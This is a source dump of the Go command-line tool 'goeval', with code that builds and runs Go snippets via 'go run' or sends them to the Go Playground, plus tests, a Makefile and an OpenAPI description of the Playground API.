gogetArgs = append(gogetArgs, "get", "--") 289 | for mod, ver := range imports.modules { 290 | gogetArgs = append(gogetArgs, mod+"@"+ver) 291 | if preferCache { 292 | // Keep preferCache as long as we find modules in the cache. 293 | // Structure of the cache is documented here: https://go.dev/ref/mod#module-cache 294 | _, err := os.Stat(gomodcache + "/cache/download/" + mod + "/@v/" + ver + ".mod") 295 | preferCache = err == nil 296 | } 297 | } 298 | for _, path := range imports.packages { 299 | if _, seen := imports.modules[path]; !seen { 300 | gogetArgs = append(gogetArgs, path) 301 | } 302 | } 303 | 304 | // fmt.Println("preferCache", preferCache) 305 | if preferCache { 306 | // As we found all modules in the cache, tell "go get" and "go run" to not use the proxy. 307 | // See https://go.dev/issue/43646 308 | // env = append(env, "GOPROXY=file://"+filepath.ToSlash(gomodcache)+"/cache/download") 309 | env = append(env, "GOPROXY=off") 310 | } 311 | 312 | cmd := exec.Command(goCmd, gogetArgs...) 313 | cmd.Env = env 314 | cmd.Dir = dir 315 | cmd.Stdin = nil 316 | cmd.Stdout = nil 317 | cmd.Stdout = os.Stdout 318 | // go get is too verbose :( 319 | cmd.Stderr = nil 320 | if err = run(cmd); err != nil { 321 | log.Fatal("go get failure:", err) 322 | } 323 | // log.Println("go get OK.") 324 | defer os.Remove(dir + "/go.sum") 325 | } 326 | 327 | var src bytes.Buffer 328 | 329 | // If sending to the Go Playground, export GOEXPERIMENT as a comment 330 | if action >= actionDumpPlay { 331 | const alphaNum = "abcdefghijklmnopqrstuvwxyz0123456789" 332 | const alphaNumComma = alphaNum + "," 333 | if exp, ok := os.LookupEnv("GOEXPERIMENT"); ok && 334 | exp != "" && // Not empty 335 | strings.Trim(exp, ",") == exp && // No leading or trailing commas 336 | strings.Trim(exp, alphaNumComma) == "" { // only lower case alpha num and comma 337 | src.WriteString("// GOEXPERIMENT=") 338 | src.WriteString(exp) 339 | src.WriteString("\n\n") 340 | } 341 | } 342 | 343 | src.WriteString("package main\n") 344 | for alias, path := range imports.packages { 345 | if len(alias) > 2 && alias[1] == ' ' { 346 | switch alias[0] { 347 | case '.', '_': 348 | alias = alias[:1] 349 | case ' ': // no alias 350 | fmt.Fprintf(&src, "import %q\n", path) 351 | continue 352 | } 353 | } 354 | fmt.Fprintf(&src, "import %s %q\n", alias, path) 355 | } 356 | src.WriteString("func main() {\n") 357 | if action <= actionDump { 358 | src.WriteString("os.Args[1] = os.Args[0]\nos.Args = os.Args[1:]\n") 359 | if moduleMode { 360 | fmt.Fprintf(&src, "_ = os.Chdir(%q)\n", origDir) 361 | } 362 | src.WriteString("//line :1\n") 363 | } 364 | src.WriteString(code) 365 | src.WriteString("\n}\n") 366 | 367 | var ( 368 | srcFilename string 369 | srcFinal io.Writer // The final transformed source after goimports. Txtar format if in Go modules mode. 370 | tail func() error 371 | ) 372 | switch action { 373 | case actionRun: 374 | f, err := os.CreateTemp(dir, "*.go") 375 | if err != nil { 376 | log.Fatal(err) 377 | } 378 | defer f.Close() 379 | defer os.Remove(f.Name()) 380 | srcFinal = f 381 | srcFilename = f.Name() 382 | 383 | runArgs := make([]string, 0, 3+len(args)) 384 | runArgs = append(runArgs, "run", srcFilename, "--") 385 | runArgs = append(runArgs, args...) 386 | // log.Println(goCmd, runArgs) 387 | 388 | cmd := exec.Command(goCmd, runArgs...) 389 | cmd.Env = env 390 | cmd.Dir = dir // In Go module mode we run from the temp module dir 391 | cmd.Stdin = os.Stdin 392 | cmd.Stdout = os.Stdout 393 | cmd.Stderr = os.Stderr 394 | tail = func() error { 395 | if err = f.Close(); err != nil { 396 | return err 397 | } 398 | return run(cmd) 399 | } 400 | case actionPlay: 401 | var cleanup func() 402 | srcFinal, tail, cleanup = prepareSub(playClient) 403 | defer cleanup() 404 | case actionShare: 405 | var cleanup func() 406 | srcFinal, tail, cleanup = prepareSub(shareClient) 407 | defer cleanup() 408 | default: // actionDump, actionDumpPlay 409 | srcFinal = os.Stdout 410 | tail = func() error { return nil } 411 | } 412 | 413 | var err error 414 | switch goimports { 415 | case "goimports": 416 | var out []byte 417 | var filename string // filename is used to locate the relevant go.mod 418 | if imports.packages != nil { 419 | filename = srcFilename 420 | } 421 | out, err = goimp.Process(filename, src.Bytes(), &goimp.Options{ 422 | Fragment: false, 423 | AllErrors: false, 424 | Comments: true, 425 | TabIndent: true, 426 | TabWidth: 8, 427 | FormatOnly: false, 428 | }) 429 | if err == nil { 430 | _, err = srcFinal.Write(out) 431 | } 432 | case "": 433 | _, err = srcFinal.Write(src.Bytes()) 434 | default: 435 | cmd := exec.Command(goimports) 436 | cmd.Env = env 437 | cmd.Dir = dir 438 | cmd.Stdin = &src 439 | cmd.Stdout = srcFinal 440 | cmd.Stderr = os.Stderr 441 | err = run(cmd) 442 | } 443 | if err != nil { 444 | return err 445 | } 446 | 447 | /* 448 | // Do we need to run "go get" again after "goimports"? 449 | if moduleMode { 450 | goget := exec.Command(goCmd, "get", ".") 451 | goget.Env = env 452 | goget.Dir = dir 453 | goget.Stdout = os.Stdout 454 | goget.Stderr = os.Stderr 455 | run(goget) 456 | } 457 | */ 458 | 459 | // dump go.mod, go.sum 460 | if moduleMode && action != actionRun { 461 | gomod, err := os.Open(dir + "/go.mod") 462 | if err != nil { 463 | log.Fatal(err) 464 | } 465 | io.WriteString(srcFinal, "-- go.mod --\n") 466 | defer gomod.Close() 467 | io.Copy(srcFinal, gomod) 468 | 469 | gosum, err := os.Open(dir + "/go.sum") 470 | switch { 471 | case errors.Is(err, os.ErrNotExist): // ignore 472 | case err != nil: 473 | log.Fatal(err) 474 | default: 475 | io.WriteString(srcFinal, "-- go.sum --\n") 476 | defer gosum.Close() 477 | io.Copy(srcFinal, gosum) 478 | } 479 | } 480 | 481 | return tail() 482 | } 483 | -------------------------------------------------------------------------------- /main_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2019-2025 Olivier Mengué. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main_test 18 | 19 | import ( 20 | "os" 21 | "os/exec" 22 | ) 23 | 24 | func goeval(args ...string) { 25 | cmd := exec.Command("go", append([]string{"run", "."}, args...)...) 26 | cmd.Stdin = nil 27 | cmd.Stdout = os.Stdout 28 | cmd.Stderr = os.Stderr 29 | cmd.Run() 30 | } 31 | 32 | func Example() { 33 | goeval(`fmt.Println("OK")`) 34 | 35 | // Output: 36 | // OK 37 | } 38 | 39 | func Example_dump() { 40 | goeval("-E", `fmt.Println("OK")`) 41 | 42 | // Output: 43 | // package main 44 | // 45 | // import ( 46 | // "fmt" 47 | // "os" 48 | // ) 49 | // 50 | // func main() { 51 | // os.Args[1] = os.Args[0] 52 | // os.Args = os.Args[1:] 53 | // //line :1 54 | // fmt.Println("OK") 55 | // } 56 | } 57 | 58 | func Example_flag() { 59 | goeval(`fmt.Println(os.Args[1])`, `--`) 60 | goeval(`fmt.Println(os.Args[1])`, `-x`) // -x is also a "go run" flag 61 | goeval(`fmt.Println(os.Args[1])`, `toto.go`) // toto.go could be caught by "go run" 62 | 63 | // Output: 64 | // -- 65 | // -x 66 | // toto.go 67 | } 68 | -------------------------------------------------------------------------------- /sub.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2025 Olivier Mengué. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "bytes" 21 | _ "embed" 22 | "io" 23 | "log" 24 | "os" 25 | "os/exec" 26 | ) 27 | 28 | var ( 29 | //go:embed sub/play/play.go 30 | playClient string 31 | //go:embed sub/share/share.go 32 | shareClient string 33 | ) 34 | 35 | // prepareSub prepares execution of a sub command via a "go run". 36 | // The returned stdin buffer may be filled with data. 37 | // cleanup must be called after cmd.Run() to clean the tempoary go source created. 38 | func prepareSub(appCode string) (stdin *bytes.Buffer, tail func() error, cleanup func()) { 39 | f, err := os.CreateTemp("", "*.go") 40 | if err != nil { 41 | log.Fatal(err) 42 | } 43 | defer f.Close() 44 | fName := f.Name() 45 | cleanup = func() { 46 | os.Remove(fName) 47 | } 48 | 49 | if _, err := io.WriteString(f, appCode); err != nil { 50 | log.Fatal(err) 51 | } 52 | 53 | // Prepare input that will be filled before executing the command 54 | stdin = new(bytes.Buffer) 55 | 56 | // Run "go run" with the code submitted on stdin and the userAgent as first argument 57 | cmd := exec.Command(goCmd, "run", fName, getUserAgent()) 58 | cmd.Env = append( 59 | os.Environ(), // We must not use the 'env' built for local run here 60 | "GO111MODULE=off", // Sub command use only stdlib 61 | "GOEXPERIMENT=", // Clear GOEXPERIMENT which has been forwarded in a comment 62 | ) 63 | cmd.Stdin = stdin 64 | cmd.Stdout = os.Stdout 65 | cmd.Stderr = os.Stderr 66 | 67 | tail = func() error { 68 | return run(cmd) 69 | } 70 | return 71 | } 72 | -------------------------------------------------------------------------------- /sub/.spectral.yml: -------------------------------------------------------------------------------- 1 | # OpenAPI rules 2 | # Reference: https://meta.stoplight.io/docs/spectral/ZG9jOjExNw-open-api-rules 3 | extends: "spectral:oas" 4 | rules: 5 | contact-properties: off 6 | operation-tags: off 7 | -------------------------------------------------------------------------------- /sub/Makefile: -------------------------------------------------------------------------------- 1 | # Tools for playground-openapi.yaml maintenance. 2 | # 3 | # Required tools: 4 | # - docker 5 | # - mise (see ../.config/mise.toml) https://mise.jdx.dev/ 6 | # 7 | # All other tools are installed via mise. 8 | 9 | .PHONY: openapi-validate 10 | 11 | openapi-validate: playground-openapi.yaml .spectral.yml 12 | docker run --rm -it -v "$(CURDIR):/src" stoplight/spectral lint -r /src/.spectral.yml /src/playground-openapi.yaml 13 | 14 | .PHONY: swagger-ui 15 | 16 | PORT ?= 8080 17 | 18 | swagger-ui: 19 | ( sleep 2 ; open http://localhost:$(PORT)/ ) & 20 | docker run --rm -p 127.0.0.1:$(PORT):8080 -v "$(CURDIR):/src" -e SWAGGER_JSON=/src/playground-openapi.yaml swaggerapi/swagger-ui 21 | -------------------------------------------------------------------------------- /sub/doc.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2025 Olivier Mengué. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | // This directory contains sub commands of [github.com/wretchedser/goeval]. 18 | // 19 | // Sub commands have the following constraints: 20 | // - only stdlib dependencies 21 | // - compiled in GOPATH mode (GO111MODULE=off) 22 | // 23 | // The source code of each command is embedded (see [embed]) in the goeval binary and commands are launched with "go run". 24 | package sub 25 | -------------------------------------------------------------------------------- /sub/play/doc.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2025 Olivier Mengué. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | // Command play is the sub command launched by "goeval -play". 18 | // 19 | // play sends the program code to the Go Playground at https://play.golang.org/compile 20 | // and replays the received events respecting event delays. 21 | // 22 | // $ curl -s -X POST --data-urlencode body@- https://play.golang.org/compile < 21 | Server source code: https://go.googlesource.com/playground 22 | https://pkg.go.dev/golang.org/x/playground 23 | 24 | Author of this OpenAPI specification: [Olivier Mengué](https://github.com/dolmen-go). 25 | contact: 26 | url: https://github.com/wretchedser/goeval/issues 27 | version: '0.20250419.0' 28 | # The license applies only to this document, not to the Go Playground. 29 | license: 30 | name: Apache License 2.0 31 | identifier: Apache-2.0 32 | # identifier and url are exclusive 33 | # url: https://www.apache.org/licenses/LICENSE-2.0 34 | servers: 35 | # The main api is at play.golang.org 36 | # go.dev/_ exposes only some endpoints with a different API (for example /compile has a different schema) 37 | - url: https://play.golang.org 38 | description: play.golang.org is also the backend of https://go.dev/_ which exposes a subset of this API and some variations in output. 39 | paths: 40 | # See https://go.googlesource.com/playground/+/refs/heads/master/server.go#51 41 | /version: 42 | get: # also: post 43 | operationId: version 44 | summary: Show server's Go version. 45 | description: > 46 | Server source code: https://go.googlesource.com/playground/+/refs/heads/master/fmt.go#23 47 | security: [{}] 48 | responses: 49 | '200': 50 | description: OK 51 | headers: 52 | Access-Control-Allow-Origin: 53 | schema: 54 | type: string 55 | enum: ["*"] 56 | content: 57 | "application/json": 58 | schema: 59 | type: object 60 | properties: 61 | Version: 62 | type: string 63 | Release: 64 | type: string 65 | Name: 66 | type: string 67 | example: {"Version":"go1.24.2","Release":"go1.24","Name":"Go 1.24"} 68 | /compile: 69 | post: 70 | operationId: play 71 | summary: Compile and run the provided Go code. 72 | description: > 73 | Curl example: 74 | ```console 75 | $ curl -s -X POST --data-urlencode body@- https://play.golang.org/compile < 143 | See https://go.googlesource.com/playground/+/refs/heads/master/play.go#62 144 | properties: 145 | Delay: 146 | type: string 147 | description: Go's [time.Duration](https://pkg.go.dev/time#ParseDuration). 148 | Kind: 149 | type: string 150 | enum: 151 | - stdout 152 | - stderr 153 | Message: 154 | type: string 155 | '500': 156 | description: Internal server error. 157 | headers: 158 | Access-Control-Allow-Origin: 159 | schema: 160 | type: string 161 | enum: ["*"] 162 | /share: 163 | # https://go.googlesource.com/playground/+/refs/heads/master/share.go 164 | post: 165 | operationId: share 166 | summary: Save and share the code. 167 | description: > 168 | Curl example: 169 | ```console 170 | $ curl --data-binary '@-' -H 'Content-Type: text/plain; charset=utf-8' 'https://play.golang.org/_/share' < 222 | Curl examples: 223 | ```console 224 | $ curl -s --data-urlencode body@- https://play.golang.org/fmt < 284 | Server source code: https://go.googlesource.com/playground/+/refs/heads/master/edit.go 285 | parameters: 286 | - name: id 287 | description: Snippet identifier, as returned by `/share`. 288 | in: path 289 | schema: 290 | type: string 291 | required: true 292 | - name: download 293 | description: If `true`, set the Content-Disposition header. 294 | in: query # https://pkg.go.dev/net/http#Request.FormValue 295 | schema: 296 | type: boolean 297 | security: [{}] 298 | responses: 299 | '200': 300 | description: Snippet content. 301 | headers: 302 | Access-Control-Allow-Origin: 303 | schema: 304 | type: string 305 | enum: ["*"] 306 | content: 307 | 'text/plain; charset=utf-8': 308 | schema: 309 | type: string 310 | '404': 311 | description: Snippet not found. 312 | headers: 313 | Access-Control-Allow-Origin: 314 | schema: 315 | type: string 316 | enum: ["*"] 317 | content: 318 | 'text/plain': 319 | schema: 320 | type: string 321 | enum: ["Snippet not found"] -------------------------------------------------------------------------------- /sub/share/doc.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2025 Olivier Mengué. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | // Command share is the sub command launched by "goeval -share". 18 | package main 19 | -------------------------------------------------------------------------------- /sub/share/share.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "io" 5 | "log" 6 | "net/http" 7 | "os" 8 | ) 9 | 10 | type uaTransport struct { 11 | *http.Transport 12 | UserAgent string 13 | } 14 | 15 | func (t *uaTransport) RoundTrip(req *http.Request) (*http.Response, error) { 16 | req.Header.Set("User-Agent", t.UserAgent) 17 | return t.Transport.RoundTrip(req) 18 | } 19 | 20 | func main() { 21 | http.DefaultTransport = &uaTransport{Transport: http.DefaultTransport.(*http.Transport), UserAgent: os.Args[1]} 22 | 23 | resp, err := http.Post("https://play.golang.org/share", "text/plain; charset=utf-8", os.Stdin) 24 | if err != nil { 25 | log.Fatal("share:", err) 26 | } 27 | defer resp.Body.Close() 28 | id, err := io.ReadAll(resp.Body) 29 | if err != nil { 30 | log.Fatal("share:", err) 31 | } 32 | io.WriteString(os.Stdout, "https://go.dev/play/p/"+string(id)+"\n") 33 | } 34 | -------------------------------------------------------------------------------- /useragent_buildinfo.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2025 Olivier Mengué. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "runtime/debug" 21 | "strings" 22 | ) 23 | 24 | var version = "v1.2.0" // FIXME set at compile time with -ldflags="-X main.version=" 25 | 26 | // getUserAgent returns the HTTP User-Agent header value to use for -play and -share. 27 | // 28 | // Reference: https://www.rfc-editor.org/rfc/rfc9110#name-user-agent 29 | func getUserAgent() string { 30 | bi, ok := debug.ReadBuildInfo() 31 | if !ok { 32 | // The HTTP specification allows comments in header values: they are enclosed by parenthesis. 33 | return "goeval/" + version + " (github.com/wretchedser/goeval)" 34 | } 35 | if !ok || bi.Main.Path == "" { 36 | // The HTTP specification allows comments in header values: they are enclosed by parenthesis. 37 | return "goeval/" + version + " (" + bi.Path + ")" 38 | } 39 | // "go run" reports "(devel)" as version but in header value parenthesis are reserved chars (for comments). 40 | return "goeval/" + strings.Trim(bi.Main.Version, "()") + " (" + bi.Main.Path + ")" 41 | } 42 | --------------------------------------------------------------------------------